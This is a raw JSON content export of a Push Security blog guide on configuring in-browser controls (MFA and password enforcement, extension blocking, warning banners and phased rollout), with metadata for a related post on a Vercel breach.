",{"data":80145,"content":80146,"nodeType":866},{},[80147],{"data":80148,"marks":80149,"value":80150,"nodeType":865},{},[],"For all of these scenarios, you can tune Push controls to your preferred mode (informing vs. blocking, for example) and select which employees, employee groups, and apps or accounts to focus on.",{"data":80152,"content":80153,"nodeType":866},{},[80154],{"data":80155,"marks":80156,"value":80157,"nodeType":865},{},[],"You can also customize the message that employees see, to match your organizational culture and policies.",{"data":80159,"content":80160,"nodeType":1458},{},[80161],{"data":80162,"marks":80163,"value":80165,"nodeType":865},{},[80164],{"type":961},"How it works: ",{"data":80167,"content":80168,"nodeType":866},{},[80169],{"data":80170,"marks":80171,"value":80172,"nodeType":865},{},[],"The Push browser agent observes real-time user behavior and securely analyzes users’ account vulnerabilities in order to identify risks and execute your preconfigured controls. ",{"data":80174,"content":80175,"nodeType":866},{},[80176],{"data":80177,"marks":80178,"value":80179,"nodeType":865},{},[],"To identify MFA status, Push uses the app’s own API to query the logged-in user’s registered MFA methods. To analyze password security, Push creates a salted, truncated hash that is stored locally in the user’s browser and then used for comparison to find reused passwords, leaked passwords, and shared passwords. ",{"data":80181,"content":80182,"nodeType":866},{},[80183,80187,80192,80195,80200],{"data":80184,"marks":80185,"value":80186,"nodeType":865},{},[],"Using the ",{"data":80188,"marks":80189,"value":80191,"nodeType":865},{},[80190],{"type":961},"MFA enforcement",{"data":80193,"marks":80194,"value":8756,"nodeType":865},{},[],{"data":80196,"marks":80197,"value":80199,"nodeType":865},{},[80198],{"type":961},"Strong password enforcement",{"data":80201,"marks":80202,"value":80203,"nodeType":865},{},[]," controls, you can then automatically display a banner to users with those account vulnerabilities, guiding them to fix the issue.",{"data":80205,"content":80209,"nodeType":925},{"target":80206},{"sys":80207},{"id":80208,"type":922,"linkType":923},"7Ka4CumZk9it6GsdlNHREA",[],{"data":80211,"content":80212,"nodeType":866},{},[80213,80217,80222],{"data":80214,"marks":80215,"value":80216,"nodeType":865},{},[],"Using Push’s ",{"data":80218,"marks":80219,"value":80221,"nodeType":865},{},[80220],{"type":961},"Password protection",{"data":80223,"marks":80224,"value":80225,"nodeType":865},{},[]," control, you can select apps where you want to essentially “pin” the high-value password to only that app and prevent its reuse (or phishing) on any other domain. ",{"data":80227,"content":80228,"nodeType":866},{},[80229,80232,80237],{"data":80230,"marks":80231,"value":80216,"nodeType":865},{},[],{"data":80233,"marks":80234,"value":80236,"nodeType":865},{},[80235],{"type":961},"Browser extension blocking",{"data":80238,"marks":80239,"value":80240,"nodeType":865},{},[]," control, you can create a blocklist or allowlist of extensions and prevent users from installing or enabling blocked extensions.",{"data":80242,"content":80243,"nodeType":866},{},[80244,80248,80253],{"data":80245,"marks":80246,"value":80247,"nodeType":865},{},[],"Finally, using Push’s ",{"data":80249,"marks":80250,"value":80252,"nodeType":865},{},[80251],{"type":961},"App banners",{"data":80254,"marks":80255,"value":80256,"nodeType":865},{},[]," feature, you can add custom messages in a range of modes — from informing to blocking — to apps in use across your business, or even specific URL patterns.",{"data":80258,"content":80262,"nodeType":925},{"target":80259},{"sys":80260},{"id":80261,"type":922,"linkType":923},"5Mq4PEzEhW8p1qLvS9aZMm",[],{"data":80264,"content":80265,"nodeType":1458},{},[80266],{"data":80267,"marks":80268,"value":80270,"nodeType":865},{},[80269],{"type":961},"Your security team gets: ",{"data":80272,"content":80273,"nodeType":866},{},[80274],{"data":80275,"marks":80276,"value":80277,"nodeType":865},{},[],"A flexible and highly configurable set of controls to solve account vulnerabilities at scale and to enforce your security controls around browser extensions and app usage.",{"data":80279,"content":80280,"nodeType":1458},{},[80281],{"data":80282,"marks":80283,"value":80285,"nodeType":865},{},[80284],{"type":961},"Your end-users see: ",{"data":80287,"content":80288,"nodeType":866},{},[80289],{"data":80290,"marks":80291,"value":80292,"nodeType":865},{},[],"Contextual, actionable guidance in the midst of their actual workflow, helping them fix the issue or guiding them to safety.",{"data":80294,"content":80295,"nodeType":953},{},[],{"data":80297,"content":80298,"nodeType":963},{},[80299],{"data":80300,"marks":80301,"value":80303,"nodeType":865},{},[80302],{"type":961},"Implementation tips",{"data":80305,"content":80306,"nodeType":866},{},[80307],{"data":80308,"marks":80309,"value":80310,"nodeType":865},{},[],"Push allows you to set the scope and mode of each control, making it simple to roll out. ",{"data":80312,"content":80313,"nodeType":866},{},[80314,80318,80323,80327,80331,80335,80340],{"data":80315,"marks":80316,"value":80317,"nodeType":865},{},[],"We recommend starting in ",{"data":80319,"marks":80320,"value":80322,"nodeType":865},{},[80321],{"type":961},"Monitor",{"data":80324,"marks":80325,"value":80326,"nodeType":865},{},[]," mode for controls that intervene in end-user activities. That way, you can perform testing with sample malicious sites or scenarios like reused protected passwords, tune out any benign true positives, and develop the messaging you want to use on warn or block pages. (For controls without an explicit monitor mode, like ",{"data":80328,"marks":80329,"value":80199,"nodeType":865},{},[80330],{"type":961},{"data":80332,"marks":80333,"value":80334,"nodeType":865},{},[],", you can still monitor for related events on the ",{"data":80336,"marks":80337,"value":80339,"nodeType":865},{},[80338],{"type":961},"Events",{"data":80341,"marks":80342,"value":80343,"nodeType":865},{},[]," page, such as account security findings, or by consuming webhooks into a downstream tool.)",{"data":80345,"content":80349,"nodeType":925},{"target":80346},{"sys":80347},{"id":80348,"type":922,"linkType":923},"7vk8DHv01cM1o2C0ZpAvZu",[],{"data":80351,"content":80352,"nodeType":866},{},[80353,80357,80362,80365,80370],{"data":80354,"marks":80355,"value":80356,"nodeType":865},{},[],"When you’re ready, set the mode to ",{"data":80358,"marks":80359,"value":80361,"nodeType":865},{},[80360],{"type":961},"Warn",{"data":80363,"marks":80364,"value":71034,"nodeType":865},{},[],{"data":80366,"marks":80367,"value":80369,"nodeType":865},{},[80368],{"type":961},"Block",{"data":80371,"marks":80372,"value":80373,"nodeType":865},{},[]," and use the scope options to perform a phased rollout to your user population by adding additional user groups to the control until you have complete coverage of your population.",{"data":80375,"content":80376,"nodeType":866},{},[80377],{"data":80378,"marks":80379,"value":80380,"nodeType":865},{},[],"By consuming webhook events into your SIEM, you can integrate Push alerts into your existing security workflows, monitoring for new detections or tracking when account vulnerabilities are resolved.",{"data":80382,"content":80383,"nodeType":953},{},[],{"data":80385,"content":80386,"nodeType":963},{},[80387],{"data":80388,"marks":80389,"value":80391,"nodeType":865},{},[80390],{"type":961},"Enhancing user trust with custom branding",{"data":80393,"content":80394,"nodeType":866},{},[80395],{"data":80396,"marks":80397,"value":80398,"nodeType":865},{},[],"We recently released the option to customize the look and feel of all employee-facing banners and block pages. ",{"data":80400,"content":80401,"nodeType":866},{},[80402,80406,80411],{"data":80403,"marks":80404,"value":80405,"nodeType":865},{},[],"From the ",{"data":80407,"marks":80408,"value":80410,"nodeType":865},{},[80409],{"type":961},"Settings",{"data":80412,"marks":80413,"value":80414,"nodeType":865},{},[]," page in the Push admin console, you can upload your logo, add accent colors, and choose from light or dark backgrounds.",{"data":80416,"content":80420,"nodeType":925},{"target":80417},{"sys":80418},{"id":80419,"type":922,"linkType":923},"51lk1VRP20G7H4PAoRZANI",[],{"data":80422,"content":80423,"nodeType":866},{},[80424],{"data":80425,"marks":80426,"value":80427,"nodeType":865},{},[],"Custom branding increases the trustworthiness of these in-the-moment security guardrails so that users recognize them immediately and act on their guidance.",{"data":80429,"content":80430,"nodeType":866},{},[80431],{"data":80432,"marks":80433,"value":80434,"nodeType":865},{},[],"The result: Better compliance and lower friction for you and your employees.",{"data":80436,"content":80437,"nodeType":953},{},[],{"data":80439,"content":80440,"nodeType":963},{},[80441],{"data":80442,"marks":80443,"value":1704,"nodeType":865},{},[80444],{"type":961},{"data":80446,"content":80447,"nodeType":866},{},[80448,80452,80459],{"data":80449,"marks":80450,"value":80451,"nodeType":865},{},[],"Push Security’s browser-based security platform stops browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking — ",{"data":80453,"content":80454,"nodeType":882},{"uri":152},[80455],{"data":80456,"marks":80457,"value":80458,"nodeType":865},{},[],"modern attack techniques",{"data":80460,"marks":80461,"value":80462,"nodeType":865},{},[]," that are the leading cause of breaches today.",{"data":80464,"content":80465,"nodeType":866},{},[80466],{"data":80467,"marks":80468,"value":80469,"nodeType":865},{},[],"You don’t need to wait until it all goes wrong either. You can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.",{"data":80471,"content":80472,"nodeType":866},{},[80473,80477,80485,80489,80497,80501,80507],{"data":80474,"marks":80475,"value":80476,"nodeType":865},{},[],"Want to learn more about Push? Check out our latest ",{"data":80478,"content":80480,"nodeType":882},{"uri":80479},"/resources/product-brochure",[80481],{"data":80482,"marks":80483,"value":80484,"nodeType":865},{},[],"product overview",{"data":80486,"marks":80487,"value":80488,"nodeType":865},{},[],", visit our ",{"data":80490,"content":80492,"nodeType":882},{"uri":80491},"/product-demo/",[80493],{"data":80494,"marks":80495,"value":80496,"nodeType":865},{},[],"demo library",{"data":80498,"marks":80499,"value":80500,"nodeType":865},{},[],", or book some time with one of our team for a ",{"data":80502,"content":80503,"nodeType":882},{"uri":16213},[80504],{"data":80505,"marks":80506,"value":1734,"nodeType":865},{},[],{"data":80508,"marks":80509,"value":1048,"nodeType":865},{},[],"Guide: How to use Push controls to protect your users from modern browser threats","How to use in-browser controls to stop browser-based attacks before compromise can occur","2026-04-08T00:00:00.000Z","guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks",{"items":80515},[80516,80518],{"sys":80517,"name":11426},{"id":11425},{"sys":80519,"name":342},{"id":8410},{"items":80521},[80522],{"fullName":3774,"firstName":3775,"jobTitle":3776,"profilePicture":80523},{"url":3778},"blog/unpacking-the-vercel-breach",{"json":80526},{"data":80527,"content":80528,"nodeType":1739},{},[80529],{"data":80530,"content":80531,"nodeType":866},{},[80532],{"data":80533,"marks":80534,"value":80535,"nodeType":865},{},[],"In April 2026, Vercel was compromised via an OAuth app integrated into their Google Workspace tenant stemming from a compromised third-party AI SaaS provider. Here’s what you need to know. ",{"id":63694,"publishedAt":80537},"2026-08-12T12:01:06.679Z",{"items":80539},[80540,80542],{"sys":80541,"name":11426},{"id":11425},{"sys":80543,"name":342},{"id":8410},{"items":80545},[80546,80548,80550,80552,80554,80556,80558,80560,80562,80564,80566,80568,80570,80572,80574,80576,80578,80580,80582,80584],{"sys":80547,"name":545,"slug":546,"tier":31},{"id":542},{"sys":80549,"name":235,"slug":236,"tier":31},{"id":232},{"sys":80551,"name":413,"slug":414,"tier":31},{"id":410},{"sys":80553,"name":279,"slug":280,"tier":31},{"id":276},{"sys":80555,"name":297,"slug":298,"tier":31},{"id":294},{"sys":80557,"name":484,"slug":485,"tier":45},{"id":481},{"sys":80559,"name":580,"slug":581,"tier":45},{"id":577},{"sys":80561,"name":633,"slug":634,"tier":45},{"id":630},{"sys":80563,"name":528,"slug":529,"tier":45},{"id":525},{"sys":80565,"name":589,"slug":590,"tier":45},{"id":586},{"sys":80567,"name":422,"slug":423,"tier":45},{"id":419},{"sys":80569,"name":395,"slug":396,"tier":45},{"id":392},{"sys":80571,"name":360,"slug":361,"tier":45},{"id":357},{"sys":80573,"name":288,"slug":289,"tier":45},{"id":285},{"sys":80575,"name":333,"slug":334,"tier":45},{"id":330},{"sys":80577,"name":502,"slug":503,"tier":45},{"id":499},{"sys":80579,"name":457,"slug":458,"tier":45},{"id":454},{"sys":80581,"name":315,"slug":316,"tier":45},{"id":312},{"sys":80583,"name":440,"slug":441,"tier":45},{"id":437},{"sys":80585,"name":404,"slug":405,"tier":45},{"id":401},"7b4KOofBwc7_L33LnSIjbalheJLEQ9Kb7k3oS_lnjZk",{"id":80588,"title":80510,"authorsCollection":80589,"content":80593,"extension":228,"faqItemsCollection":81995,"faqTitle":59,"featured":6,"hashTags":59,"meta":81997,"metaTitle":81998,"ogImage":59,"postType":81999,"publishedDate":80512,"relatedBlogPostsCollection":82000,"slug":80513,"stem":82002,"subtitle":59,"summary":82003,"synopsis":80511,"sys":82014,"tagsCollection":82016,"topicsCollection":82022,"__hash__":82060},"blog/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks.json",{"items":80590},[80591],{"fullName":3774,"firstName":3775,"jobTitle":3776,"socialLinks":59,"profilePicture":80592},{"url":3778},{"json":80594,"links":81755},{"data":80595,"content":80596,"nodeType":1739},{},[80597,80603,80624,80630,80635,80641,80647,80653,80658,80661,80668,80674,80679,80684,80697,80878,80888,80895,80901,80907,80913,80929,80934,80940,80943,80950,80956,80985,80991,81004,81021,81049,81054,81060,81075,81081,81087,81090,81097,81103,81186,81192,81198,81205,81211,81217,81223,81228,81235,81241,81247,81253,81258,81264,81271,81286,81293,81299,81304,81307,81314,81320,81326,81420,81426,81433,81439,81445,81451,81457,81464,81470,81476,81496,81501,81514,81527,81540,81545,81552,81558,81565,81571,81574,81581,81587,81614,81619,81639,81645,81648,81655,81661,81674,81679,81685,81691,81694,81701,81716,81722],{"data":80598,"content":80599,"nodeType":866},{},[80600],{"data":80601,"marks":80602,"value":79178,"nodeType":865},{},[],{"data":80604,"content":80605,"nodeType":1049},{},[80606,80615],{"data":80607,"content":80608,"nodeType":1003},{},[80609],{"data":80610,"content":80611,"nodeType":866},{},[80612],{"data":80613,"marks":80614,"value":79191,"nodeType":865},{},[],{"data":80616,"content":80617,"nodeType":1003},{},[80618],{"data":80619,"content":80620,"nodeType":866},{},[80621],{"data":80622,"marks":80623,"value":79201,"nodeType":865},{},[],{"data":80625,"content":80626,"nodeType":866},{},[80627],{"data":80628,"marks":80629,"value":79208,"nodeType":865},{},[],{"data":80631,"content":80634,"nodeType":925},{"target":80632},{"sys":80633},{"id":79213,"type":922,"linkType":923},[],{"data":80636,"content":80637,"nodeType":866},{},[80638],{"data":80639,"marks":80640,"value":79221,"nodeType":865},{},[],{"data":80642,"content":80643,"nodeType":866},{},[80644],{"data":80645,"marks":80646,"value":79228,"nodeType":865},{},[],{"data":80648,"content":80649,"nodeType":866},{},[80650],{"data":80651,"marks":80652,"value":79235,"nodeType":865},{},[],{"data":80654,"content":80657,"nodeType":925},{"target":80655},{"sys":80656},{"id":79240,"type":922,"linkType":923},[],{"data":80659,"content":80660,"nodeType":953},{},[],{"data":80662,"content":80663,"nodeType":963},{},[80664],{"data":80665,"marks":80666,"value":79252,"nodeType":865},{},[80667],{"type":961},{"data":80669,"content":80670,"nodeType":866},{},[80671],{"data":80672,"marks":80673,"value":79259,"nodeType":865},{},[],{"data":80675,"content":80678,"nodeType":925},{"target":80676},{"sys":80677},{"id":79264,"type":922,"linkType":923},[],{"data":80680,"content":80683,"nodeType":925},{"target":80681},{"sys":80682},{"id":5415,"type":922,"linkType":923},[],{"data":80685,"content":80686,"nodeType":866},{},[80687,80690,80694],{"data":80688,"marks":80689,"value":79277,"nodeType":865},{},[],{"data":80691,"marks":80692,"value":79282,"nodeType":865},{},[80693],{"type":944},{"data":80695,"marks":80696,"value":79286,"nodeType":865},{},[],{"data":80698,"content":80699,"nodeType":2396},{},[80700,80723,80758,80779,80809,80839],{"data":80701,"content":80702,"nodeType":1869},{},[80703,80713],{"data":80704,"content":80705,"nodeType":13791},{},[80706],{"data":80707,"content":80708,"nodeType":866},{},[80709],{"data":80710,"marks":80711,"value":79303,"nodeType":865},{},[80712],{"type":961},{"data":80714,"content":80715,"nodeType":13791},{},[80716],{"data":80717,"content":80718,"nodeType":866},{},[80719],{"data":80720,"marks":80721,"value":79314,"nodeType":865},{},[80722],{"type":961},{"data":80724,"content":80725,"nodeType":1869},{},[80726,80746],{"data":80727,"content":80728,"nodeType":1835},{},[80729],{"data":80730,"content":80731,"nodeType":866},{},[80732,80735,80743],{"data":80733,"marks":80734,"value":79327,"nodeType":865},{},[],{"data":80736,"content":80739,"nodeType":15311},{"target":80737},{"sys":80738},{"id":15536,"type":922,"linkType":923},[80740],{"data":80741,"marks":80742,"value":79336,"nodeType":865},{},[],{"data":80744,"marks":80745,"value":79340,"nodeType":865},{},[],{"data":80747,"content":80748,"nodeType":1835},{},[80749],{"data":80750,"content":80751,"nodeType":866},{},[80752,80755],{"data":80753,"marks":80754,"value":79350,"nodeType":865},{},[],{"data":80756,"marks":80757,"value":79354,"nodeType":865},{},[],{"data":80759,"content":80760,"nodeType":1869},{},[80761,80770],{"data":80762,"content":80763,"nodeType":1835},{},[80764],{"data":80765,"content":80766,"nodeType":866},{},[80767],{"data":80768,"marks":80769,"value":79367,"nodeType":865},{},[],{"data":80771,"content":80772,"nodeType":1835},{},[80773],{"data":80774,"content":80775,"nodeType":866},{},[80776],{"data":80777,"marks":80778,"value":79377,"nodeType":865},{},[],{"data":80780,"content":80781,"nodeType":1869},{},[80782,80800],{"data":80783,"content":80784,"nodeType":1835},{},[80785],{"data":80786,"content":80787,"nodeType":866},{},[80788,80791,80797],{"data":80789,"marks":80790,"value":79390,"nodeType":865},{},[],{"data":80792,"content":80793,"nodeType":882},{"uri":5166},[80794],{"data":80795,"marks":80796,"value":79397,"nodeType":865},{},[],{"data":80798,"marks":80799,"value":13643,"nodeType":865},{},[],{"data":80801,"content":80802,"nodeType":1835},{},[80803],{"data":80804,"content":80805,"nodeType":866},{},[80806],{"data":80807,"marks":80808,"value":79410,"nodeType":865},{},[],{"data":80810,"content":80811,"nodeType":1869},{},[80812,80821],{"data":80813,"content":80814,"nodeType":1835},{},[80815],{"data":80816,"content":80817,"nodeType":866},{},[80818],{"data":80819,"marks":80820,"value":79423,"nodeType":865},{},[],{"data":80822,"content":80823,"nodeType":1835},{},[80824],{"data":80825,"content":80826,"nodeType":866},{},[80827,80830,80836],{"data":80828,"marks":80829,"value":79433,"nodeType":865},{},[],{"data":80831,"content":80832,"nodeType":882},{"uri":1384},[80833],{"data":80834,"marks":80835,"value":29100,"nodeType":865},{},[],{"data":80837,"marks":80838,"value":1048,"nodeType":865},{},[],{"data":80840,"content":80841,"nodeType":1869},{},[80842,80851],{"data":80843,"content":80844,"nodeType":1835},{},[80845],{"data":80846,"content":80847,"nodeType":866},{},[80848],{"data":80849,"marks":80850,"value":79455,"nodeType":865},{},[],{"data":80852,"content":80853,"nodeType":1835},{},[80854],{"data":80855,"content":80856,"nodeType":866},{},[80857,80860,80866,80869,80875],{"data":80858,"marks":80859,"value":21,"nodeType":865},{},[],{"data":80861,"content":80862,"nodeType":882},{"uri":38372},[80863],{"data":80864,"marks":80865,"value":315,"nodeType":865},{},[],{"data":80867,"marks":80868,"value":79474,"nodeType":865},{},[],{"data":80870,"content":80871,"nodeType":882},{"uri":11102},[80872],{"data":80873,"marks":80874,"value":11095,"nodeType":865},{},[],{"data":80876,"marks":80877,"value":79484,"nodeType":865},{},[],{"data":80879,"content":80880,"nodeType":866},{},[80881,80884],{"data":80882,"marks":80883,"value":79491,"nodeType":865},{},[],{"data":80885,"marks":80886,"value":79496,"nodeType":865},{},[80887],{"type":961},{"data":80889,"content":80890,"nodeType":1458},{},[80891],{"data":80892,"marks":80893,"value":79504,"nodeType":865},{},[80894],{"type":961},{"data":80896,"content":80897,"nodeType":866},{},[80898],{"data":80899,"marks":80900,"value":79511,"nodeType":865},{},[],{"data":80902,"content":80903,"nodeType":866},{},[80904],{"data":80905,"marks":80906,"value":79518,"nodeType":865},{},[],{"data":80908,"content":80909,"nodeType":866},{},[80910],{"data":80911,"marks":80912,"value":79525,"nodeType":865},{},[],{"data":80914,"content":80915,"nodeType":866},{},[80916,80919,80922,80926],{"data":80917,"marks":80918,"value":79532,"nodeType":865},{},[],{"data":80920,"marks":80921,"value":79536,"nodeType":865},{},[],{"data":80923,"marks":80924,"value":79541,"nodeType":865},{},[80925],{"type":961},{"data":80927,"marks":80928,"value":79545,"nodeType":865},{},[],{"data":80930,"content":80933,"nodeType":925},{"target":80931},{"sys":80932},{"id":79550,"type":922,"linkType":923},[],{"data":80935,"content":80936,"nodeType":866},{},[80937],{"data":80938,"marks":80939,"value":79558,"nodeType":865},{},[],{"data":80941,"content":80942,"nodeType":953},{},[],{"data":80944,"content":80945,"nodeType":963},{},[80946],{"data":80947,"marks":80948,"value":79569,"nodeType":865},{},[80949],{"type":961},{"data":80951,"content":80952,"nodeType":866},{},[80953],{"data":80954,"marks":80955,"value":79576,"nodeType":865},{},[],{"data":80957,"content":80958,"nodeType":1049},{},[80959,80972],{"data":80960,"content":80961,"nodeType":1003},{},[80962],{"data":80963,"content":80964,"nodeType":866},{},[80965,80969],{"data":80966,"marks":80967,"value":79590,"nodeType":865},{},[80968],{"type":961},{"data":80970,"marks":80971,"value":79594,"nodeType":865},{},[],{"data":80973,"content":80974,"nodeType":1003},{},[80975],{"data":80976,"content":80977,"nodeType":866},{},[80978,80982],{"data":80979,"marks":80980,"value":79605,"nodeType":865},{},[80981],{"type":961},{"data":80983,"marks":80984,"value":79609,"nodeType":865},{},[],{"data":80986,"content":80987,"nodeType":1458},{},[80988],{"data":80989,"marks":80990,"value":79616,"nodeType":865},{},[],{"data":80992,"content":80993,"nodeType":866},{},[80994,80997,81001],{"data":80995,"marks":80996,"value":79623,"nodeType":865},{},[],{"data":80998,"marks":80999,"value":79628,"nodeType":865},{},[81000],{"type":944},{"data":81002,"marks":81003,"value":79632,"nodeType":865},{},[],{"data":81005,"content":81006,"nodeType":866},{},[81007,81010,81018],{"data":81008,"marks":81009,"value":79639,"nodeType":865},{},[],{"data":81011,"content":81014,"nodeType":15311},{"target":81012},{"sys":81013},{"id":79644,"type":922,"linkType":923},[81015],{"data":81016,"marks":81017,"value":79649,"nodeType":865},{},[],{"data":81019,"marks":81020,"value":79653,"nodeType":865},{},[],{"data":81022,"content":81023,"nodeType":866},{},[81024,81027,81035,81038,81046],{"data":81025,"marks":81026,"value":79660,"nodeType":865},{},[],{"data":81028,"content":81031,"nodeType":15311},{"target":81029},{"sys":81030},{"id":79665,"type":922,"linkType":923},[81032],{"data":81033,"marks":81034,"value":79670,"nodeType":865},{},[],{"data":81036,"marks":81037,"value":79674,"nodeType":865},{},[],{"data":81039,"content":81042,"nodeType":15311},{"target":81040},{"sys":81041},{"id":79679,"type":922,"linkType":923},[81043],{"data":81044,"marks":81045,"value":79684,"nodeType":865},{},[],{"data":81047,"marks":81048,"value":79688,"nodeType":865},{},[],{"data":81050,"content":81053,"nodeType":925},{"target":81051},{"sys":81052},{"id":79693,"type":922,"linkType":923},[],{"data":81055,"content":81056,"nodeType":1458},{},[81057],{"data":81058,"marks":81059,"value":79701,"nodeType":865},{},[],{"data":81061,"content":81062,"nodeType":866},{},[81063,81066,81072],{"data":81064,"marks":81065,"value":79708,"nodeType":865},{},[],{"data":81067,"content":81068,"nodeType":882},{"uri":79711},[81069],{"data":81070,"marks":81071,"value":79716,"nodeType":865},{},[],{"data":81073,"marks":81074,"value":79720,"nodeType":865},{},[],{"data":81076,"content":81077,"nodeType":866},{},[81078],{"data":81079,"marks":81080,"value":79727,"nodeType":865},{},[],{"data":81082,"content":81083,"nodeType":866},{},[81084],{"data":81085,"marks":81086,"value":79734,"nodeType":865},{},[],{"data":81088,"content":81089,"nodeType":953},{},[],{"data":81091,"content":81092,"nodeType":963},{},[81093],{"data":81094,"marks":81095,"value":79745,"nodeType":865},{},[81096],{"type":961},{"data":81098,"content":81099,"nodeType":866},{},[81100],{"data":81101,"marks":81102,"value":79752,"nodeType":865},{},[],{"data":81104,"content":81105,"nodeType":1049},{},[81106,81126,81146,81166],{"data":81107,"content":81108,"nodeType":1003},{},[81109],{"data":81110,"content":81111,"nodeType":866},{},[81112,81115,81123],{"data":81113,"marks":81114,"value":21,"nodeType":865},{},[],{"data":81116,"content":81119,"nodeType":15311},{"target":81117},{"sys":81118},{"id":79769,"type":922,"linkType":923},[81120],{"data":81121,"marks":81122,"value":8657,"nodeType":865},{},[],{"data":81124,"marks":81125,"value":79777,"nodeType":865},{},[],{"data":81127,"content":81128,"nodeType":1003},{},[81129],{"data":81130,"content":81131,"nodeType":866},{},[81132,81135,81143],{"data":81133,"marks":81134,"value":21,"nodeType":865},{},[],{"data":81136,"content":81139,"nodeType":15311},{"target":81137},{"sys":81138},{"id":79791,"type":922,"linkType":923},[81140],{"data":81141,"marks":81142,"value":79796,"nodeType":865},{},[],{"data":81144,"marks":81145,"value":79800,"nodeType":865},{},[],{"data":81147,"content":81148,"nodeType":1003},{},[81149],{"data":81150,"content":81151,"nodeType":866},{},[81152,81155,81163],{"data":81153,"marks":81154,"value":21,"nodeType":865},{},[],{"data":81156,"content":81159,"nodeType":15311},{"target":81157},{"sys":81158},{"id":79814,"type":922,"linkType":923},[81160],{"data":81161,"marks":81162,"value":699,"nodeType":865},{},[],{"data":81164,"marks":81165,"value":21,"nodeType":865},{},[],{"data":81167,"content":81168,"nodeType":1003},{},[81169],{"data":81170,"content":81171,"nodeType":866},{},[81172,81175,81183],{"data":81173,"marks":81174,"value":21,"nodeType":865},{},[],{"data":81176,"content":81179,"nodeType":15311},{"target":81177},{"sys":81178},{"id":79835,"type":922,"linkType":923},[81180],{"data":81181,"marks":81182,"value":79840,"nodeType":865},{},[],{"data":81184,"marks":81185,"value":79844,"nodeType":865},{},[],{"data":81187,"content":81188,"nodeType":866},{},[81189],{"data":81190,"marks":81191,"value":79851,"nodeType":865},{},[],{"data":81193,"content":81194,"nodeType":866},{},[81195],{"data":81196,"marks":81197,"value":79858,"nodeType":865},{},[],{"data":81199,"content":81200,"nodeType":1458},{},[81201],{"data":81202,"marks":81203,"value":79866,"nodeType":865},{},[81204],{"type":961},{"data":81206,"content":81207,"nodeType":866},{},[81208],{"data":81209,"marks":81210,"value":79873,"nodeType":865},{},[],{"data":81212,"content":81213,"nodeType":866},{},[81214],{"data":81215,"marks":81216,"value":79880,"nodeType":865},{},[],{"data":81218,"content":81219,"nodeType":866},{},[81220],{"data":81221,"marks":81222,"value":79887,"nodeType":865},{},[],{"data":81224,"content":81227,"nodeType":925},{"target":81225},{"sys":81226},{"id":15627,"type":922,"linkType":923},[],{"data":81229,"content":81230,"nodeType":1458},{},[81231],{"data":81232,"marks":81233,"value":79900,"nodeType":865},{},[81234],{"type":961},{"data":81236,"content":81237,"nodeType":866},{},[81238],{"data":81239,"marks":81240,"value":79907,"nodeType":865},{},[],{"data":81242,"content":81243,"nodeType":866},{},[81244],{"data":81245,"marks":81246,"value":79914,"nodeType":865},{},[],{"data":81248,"content":81249,"nodeType":866},{},[81250],{"data":81251,"marks":81252,"value":79921,"nodeType":865},{},[],{"data":81254,"content":81257,"nodeType":925},{"target":81255},{"sys":81256},{"id":79926,"type":922,"linkType":923},[],{"data":81259,"content":81260,"nodeType":866},{},[81261],{"data":81262,"marks":81263,"value":79934,"nodeType":865},{},[],{"data":81265,"content":81266,"nodeType":1458},{},[81267],{"data":81268,"marks":81269,"value":79942,"nodeType":865},{},[81270],{"type":961},{"data":81272,"content":81273,"nodeType":866},{},[81274,81277,81283],{"data":81275,"marks":81276,"value":79949,"nodeType":865},{},[],{"data":81278,"content":81279,"nodeType":882},{"uri":79952},[81280],{"data":81281,"marks":81282,"value":79957,"nodeType":865},{},[],{"data":81284,"marks":81285,"value":10349,"nodeType":865},{},[],{"data":81287,"content":81288,"nodeType":1458},{},[81289],{"data":81290,"marks":81291,"value":79968,"nodeType":865},{},[81292],{"type":961},{"data":81294,"content":81295,"nodeType":866},{},[81296],{"data":81297,"marks":81298,"value":79975,"nodeType":865},{},[],{"data":81300,"content":81303,"nodeType":925},{"target":81301},{"sys":81302},{"id":79980,"type":922,"linkType":923},[],{"data":81305,"content":81306,"nodeType":953},{},[],{"data":81308,"content":81309,"nodeType":963},{},[81310],{"data":81311,"marks":81312,"value":79992,"nodeType":865},{},[81313],{"type":961},{"data":81315,"content":81316,"nodeType":866},{},[81317],{"data":81318,"marks":81319,"value":79999,"nodeType":865},{},[],{"data":81321,"content":81322,"nodeType":866},{},[81323],{"data":81324,"marks":81325,"value":80006,"nodeType":865},{},[],{"data":81327,"content":81328,"nodeType":1049},{},[81329,81349,81380,81400],{"data":81330,"content":81331,"nodeType":1003},{},[81332],{"data":81333,"content":81334,"nodeType":866},{},[81335,81338,81346],{"data":81336,"marks":81337,"value":21,"nodeType":865},{},[],{"data":81339,"content":81342,"nodeType":15311},{"target":81340},{"sys":81341},{"id":80023,"type":922,"linkType":923},[81343],{"data":81344,"marks":81345,"value":80028,"nodeType":865},{},[],{"data":81347,"marks":81348,"value":80032,"nodeType":865},{},[],{"data":81350,"content":81351,"nodeType":1003},{},[81352],{"data":81353,"content":81354,"nodeType":866},{},[81355,81358,81366,81369,81377],{"data":81356,"marks":81357,"value":80042,"nodeType":865},{},[],{"data":81359,"content":81362,"nodeType":15311},{"target":81360},{"sys":81361},{"id":80047,"type":922,"linkType":923},[81363],{"data":81364,"marks":81365,"value":80052,"nodeType":865},{},[],{"data":81367,"marks":81368,"value":71034,"nodeType":865},{},[],{"data":81370,"content":81373,"nodeType":15311},{"target":81371},{"sys":81372},{"id":80060,"type":922,"linkType":923},[81374],{"data":81375,"marks":81376,"value":80065,"nodeType":865},{},[],{"data":81378,"marks":81379,"value":80069,"nodeType":865},{},[],{"data":81381,"content":81382,"nodeType":1003},{},[81383],{"data":81384,"content":81385,"nodeType":866},{},[81386,81389,81397],{"data":81387,"marks":81388,"value":80079,"nodeType":865},{},[],{"data":81390,"content":81393,"nodeType":15311},{"target":81391},{"sys":81392},{"id":80084,"type":922,"linkType":923},[81394],{"data":81395,"marks":81396,"value":80089,"nodeType":865},{},[],{"data":81398,"marks":81399,"value":80093,"nodeType":865},{},[],{"data":81401,"content":81402,"nodeType":1003},{},[81403],{"data":81404,"content":81405,"nodeType":866},{},[81406,81409,81417],{"data":81407,"marks":81408,"value":21,"nodeType":865},{},[],{"data":81410,"content":81413,"nodeType":15311},{"target":81411},{"sys":81412},{"id":80107,"type":922,"linkType":923},[81